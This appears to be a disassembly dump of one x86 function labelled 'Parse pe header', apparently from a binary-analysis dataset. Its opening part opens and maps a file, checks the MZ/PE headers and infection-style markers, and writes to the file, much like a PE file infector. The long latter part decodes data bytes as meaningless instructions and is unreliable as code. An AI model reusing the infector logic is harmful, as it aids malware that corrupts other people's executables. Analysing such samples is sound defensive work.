Function at 0x438dde
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec4
pushal
mov eax, esp
add eax, 0x1c
mov dword [ebp - 0x130], eax
push dword [ebp + 8]
call dword [ebx + 0x402404]
cmp eax, 0xffffffff
je 0x4392fb
mov dword [ebp - 0x14], eax
push 0x80
push dword [ebp + 8]
call dword [ebx + 0x40240c]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [ebx + 0x402400]
cmp eax, 0xffffffff
je 0x4392e1
mov dword [ebp - 4], eax
push eax
call dword [ebx + 0x402428]
cmp eax, 1
jne 0x4392d6
push 0
push dword [ebp - 4]
call dword [ebx + 0x40241c]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call dword [ebx + 0x402420]
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 4]
call dword [ebx + 0x402410]
or eax, eax
je 0x4392c1
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 6
push eax
call dword [ebx + 0x402414]
or eax, eax
je 0x4392b8
mov dword [ebp - 0xc], eax
cmp word [eax], 0x5a4d
jne 0x4392af
add eax, dword [eax + 0x3c]
cmp byte [eax], 0x50
jne 0x4392af
cmp byte [eax + 1], 0x45
jne 0x4392af
mov ecx, dword [eax + 8]
add ch, cl
cmp ch, 0xff
jne 0x438eea
push eax
push 3
push dword [eax + 0x28]
push dword [ebp - 0xc]
call fcn.00439371
mov al, byte [eax]
cmp al, 0xe8
je 0x438ee9
mov ch, 0
pop eax
cmp dword [eax + 0x4c], 0
jne 0x4392a3
cmp ch, 0xff
je 0x4392a3
bt dword [eax + 0x16], 0xd
jb 0x4392af
push 3
call fcn.0043975c
or edx, edx
jne 0x438f14
inc edx
mov dh, 0xff
sub dh, dl
mov dword [ebp - 0x134], edx
cmp dword [ebp + 0xc], 0
je 0x438f43
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.0043943b
mov eax, dword [ebp - 0x130]
mov dword [eax], 0xffffffff
jmp 0x4392a1
lea edi, [ebp - 0x12c]
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
push 0x1c
pop ecx
push ecx
push 0xfa
push edx
push eax
call 0x43930c
or eax, eax
je 0x438fad
push eax
push 0
push eax
push dword [ebp - 0xc]
call fcn.00439371
cmp eax, 0xffffffff
je 0x438f97
mov ecx, eax
pop eax
push eax
pushal
add eax, edx
dec eax
push 0
push eax
push dword [ebp - 0xc]
call fcn.00439371
sub eax, ecx
inc eax
cmp eax, edx
je 0x438f96
popal
mov eax, 0xffffffff
jmp 0x438f97
popal
cmp eax, 1
pop eax
jl 0x438fa1
stosd dword es:[edi], eax
xchg edx, eax
stosd dword es:[edi], eax
xchg edx, eax
add eax, edx
mov ecx, eax
sub ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
sub edx, ecx
or eax, eax
pop ecx
loopne 0x438f52
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 4
pop edx
jmp 0x439036
cmp al, 0x36
add byte [eax], al
add byte ss:[eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 0x60], dl
push edx
jae 0x438ff7
add byte [eax], al
add byte [eax], al
push esi
mov al, byte [0x95f27352]
xchg ebp, eax
push ecx
jae 0x439005
mov cl, 0x51
jae 0x438f9a
imul edx, dword [ecx + 0x73], reloc.MSVBVM60.DLL___vbaVarMove
sahf
adc byte [edx + 0x73], dl
or eax, 0xb0734454
fild dword [ebx + esi*2 + 0x73]
adc byte [edx + 0x73], dl
dec esi
bound edx, qword [ecx + 0x73]
sbb dword [ebx + 0x66c97352], edx
inc esp
push edx
jae 0x438ff6
inc sp
jae 0x439006
push 0xb9747351
push ecx
jae 0x4390a9
mov ecx, 0x54277350
push eax
jae 0x439060
push esp
inc esp
jae 0x439068
adc dword [ecx + 0x73], 0xd
jae 0x43904e
or eax, 0x2473505a
pop edx
push eax
jae 0x439069
jae 0x439096
dec edi
jae 0x43902a
dec ebx
inc esp
jae 0x43904f
bound edx, qword [ecx + 0x73]
cmc
push ecx
jae 0x439046
pop ds
push eax
jae 0x438ffc
inc sp
jae 0x439085
inc ebp
inc esp
jae 0x439040
jecxz 0x4390a0
inc edx
inc esp
jae 0x438ffb
lcall 0x5163, 0x9a735162
jae 0x43905c
bound edx, qword [ecx + 0x73]
lcall 0x529d, 0xf3735163
popfd
popfd
push edx
jae 0x4390c4
adc dword [edx + 0x73], edx
mov bl, 0x51
jae 0x4390d5
mov bl, 0x51
jae 0x4390ad
cdq
push edx
jae 0x439028
inc esp
inc esp
jae 0x4390ec
fadd dword [ebx + 0x73]
pop es
and dl, byte [eax + 0x73]
adc ecx, dword [eax + 0x44]
push eax
jae 0x439098
dec eax
inc esp
jae 0x43906f
mov ebx, 0x6a6e7352
push eax
jae 0x439049
popfd
inc esp
jae 0x439073
dec ecx
inc esp
jae 0x439111
js 0x439051
mov bh, 0x43
inc ebx
jae 0x4390df
mov ebx, 0x698a7352
push ecx
mov ch, byte [ecx + 0x51]
jae 0x43903f
xchg ebp, eax
push eax
jae 0x4390aa
and dword [eax + 0x73], edx
test ebx, esp
inc esp
push eax
jae 0x439032
jecxz 0x4390f3
jae 0x4390ba
mov ah, 0x51
jae 0x439131
dec edi
jae 0x439114
dec esi
inc esp
jae 0x439083
push eax
jae 0x4390de
push cx
jae 0x439113
dec esi
arpl word [ecx + 0x73], dx
fmul qword [esi - 0x62808cbc]
push edx
jae 0x43914d
imul edx, dword [eax + 0x73], reloc.MSVBVM60.DLL___vbaVarCat
or al, 0x25
push eax
jae 0x439146
mov al, 0x50
jae 0x4390e5
and eax, 0x95697350
xchg ebp, eax
push eax
jae 0x439082
mov dl, 0x51
jae 0x4390b7
rcl byte [eax - 0x38538cb1], cl
inc ebx
jae 0x43914e
nop
dec edi
jae 0x439095
mov dword [ebx + 0x73], reloc.MSVBVM60.DLL___vbaVarLateMemCallLdRf
xchg ebp, eax
popal
mov bl, 0x52
jae 0x439086
push eax
jae 0x4390c3
bound edx, qword [ecx + 0x73]
into
arpl word [ecx + 0x73], dx
test byte [esp + eax*2 + 0x73], 0xb0
dec eax
inc esp
jae 0x439122
mov ebx, 0x63027352
push ecx
jae 0x43914a
pop ebp
push ecx
jae 0x43914f
fiadd word [edx + 0x73]
jae 0x439113
dec byte [edi]
push edx
jae 0x4390dd
rsqrtps xmm6, xmmword [ebx - 0x3c]
add eax, 0x95777350
push eax
jae 0x43915d
xchg esp, eax
push ecx
jae 0x4390e4
invalid
adc edx, dword [edx + 0x73]
add eax, ecx
dec edi
jae 0x439103
push ss
push edx
jae 0x439173
mov eax, 0x9dc57343
push edx
jae 0x439121
popfd
push edx
jae 0x43918e
mov bl, 0x52
push edx
jae 0x439189
cmp al, 0x14
adc al, 0x52
push edx
jae 0x439187
mov cl, 0x51
jae 0x4391b3
inc edi
inc esp
jae 0x4391ca
mov bl, 0x50
jae 0x4391cf
xchg edx, eax
push edx
jae 0x43914b
and byte [ecx + 0x73], dl
mov edx, 0x1f7351b4
ret 0x734f
jae 0x43914c
push eax
inc esp
jae 0x439177
inc edi
inc esp
jae 0x439139
jmp 0x4404d1
add byte [0xfb001000], bl
add byte [eax], dl
add bl, bh
iretd
inc ecx
add byte [eax], al
add byte [eax], al
add byte [edx], al
rol byte [ecx], 1
mov al, byte [0x4011]
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi + 0x41cf], cl
add byte [eax], al
add byte [edi], ah
add byte [eax + eax], dl
push 0xe8004264
add byte [eax + 0x64], ch
inc edx
add al, ch
inc edx
add byte [eax + 0x64], dh
inc edx
add byte [eax], al
add byte [eax], al
add al, cl
adc dword [eax], eax
mov al, byte [0xb5000000]
rol byte [ecx], 1
mov esp, 0xcb0041d0
rol byte [ecx], 1
fcmovnbe st(0), st(0)
inc ecx
add dh, ch
add byte [eax], al
mov ch, 0xd0
inc ecx
add byte [eax + edx*8 - 0x2f34ffbf], bh
inc ecx
add bl, bl
rol byte [ecx], 1
out dx, al
rol byte [ecx], 1
rol dword [ecx], 1
rol byte cs:[ecx], cl
imul edx, edx, 0xd4030041
inc ecx
add byte [ebp - 0x2a], dh
inc ecx
add byte [edx - 0x2a], bh
inc ecx
add byte [edi], al
fld dword [ecx]
pop es
fld dword [ecx]
lcall 0x41db, 0x590041d9
add byte [esi], al
fadd qword [ecx]
inc ebx
fld qword [ecx]
jo 0x4391ef
inc ecx
add byte [ebp - 0x25ffbe22], ch
fiadd word [ecx]
pop ss
loopne 0x439260
add byte [eax + 0x41], al
add byte [ecx - 0x51ffbe1f], al
loope 0x43926c
add byte [edx - 0x19], ah
inc ecx
add byte [edi + 0x430041e7], cl
in eax, dx
inc ecx
add byte [eax - 0x13], dh
inc ecx
add byte [edx - 0x13], dh
inc ecx
add byte [edi - 0x60ffbe13], bl
in eax, dx
inc ecx
add byte [esi], bh
out dx, al
inc ecx
add cl, ch
out dx, al
inc ecx
add byte [ebp + 0x380041ef], cl
invalid
pop ds
int1
inc ecx
add byte [ecx + esi*8], ah
inc ecx
add byte [ebx + 0x4a0041f1], cl
dec edx
inc ecx
add byte [ebx + esi*8 - 0xc46ffbf], dh
inc ecx
add byte [eax - 0xb], bh
inc ecx
add byte [0x250041f6], ah
test byte [ecx], 0x25
test byte [ecx], 0xad
test byte [ecx], 0xe2
test byte [ecx], 0x53
test dword [ecx], 0x41f76b
mov dword [0x80041f8], eax
stc
inc ecx
add byte [eax], cl
stc
inc ecx
add byte [eax], cl
stc
inc ecx
add byte [eax - 7], dl
inc ecx
add bl, ch
stc
inc ecx
add byte [ebx - 6], dl
inc ecx
add byte [edi - 6], ah
inc ecx
add byte [ecx - 6], ch
inc ecx
add byte [ebp - 6], bh
imul edi, edx, 0xfa7d0041
inc ecx
add byte [ebp - 6], bh
cli
inc ecx
add byte [ebx + edi*8], bl
inc ecx
add byte [ebx + edi*8 - 0x170ffbf], al
inc ecx
add byte [edx - 0x5affbdff], bl
add al, 0x42
inc edx
add byte [eax - 0x44ffbdf9], dh
or al, byte [edx]
invalid
or eax, 0x10d10042
inc edx
add ah, bl
adc eax, dword [edx]
out 0x16, eax
inc edx
add dl, dh
sbb dword [edx], eax
std
sbb al, 0x42
add byte [eax], cl
and byte [edx], al
sbb al, 0x20
add byte [eax], bl
inc edx
add byte [eax], dh
and byte [edx], al
inc esp
and byte [edx], al
pop eax
and byte [edx], al
pop ebp
and byte [edx], al
push 0x73004223
inc edx
add byte [esi + 0x29], bh
inc edx
add byte [ecx - 0x6bffbdd4], cl
das
inc edx
add byte [edi - 0x55ffbdce], bl
xor eax, 0x38b50042
inc edx
add al, al
cmp eax, dword [edx]
retf
invalid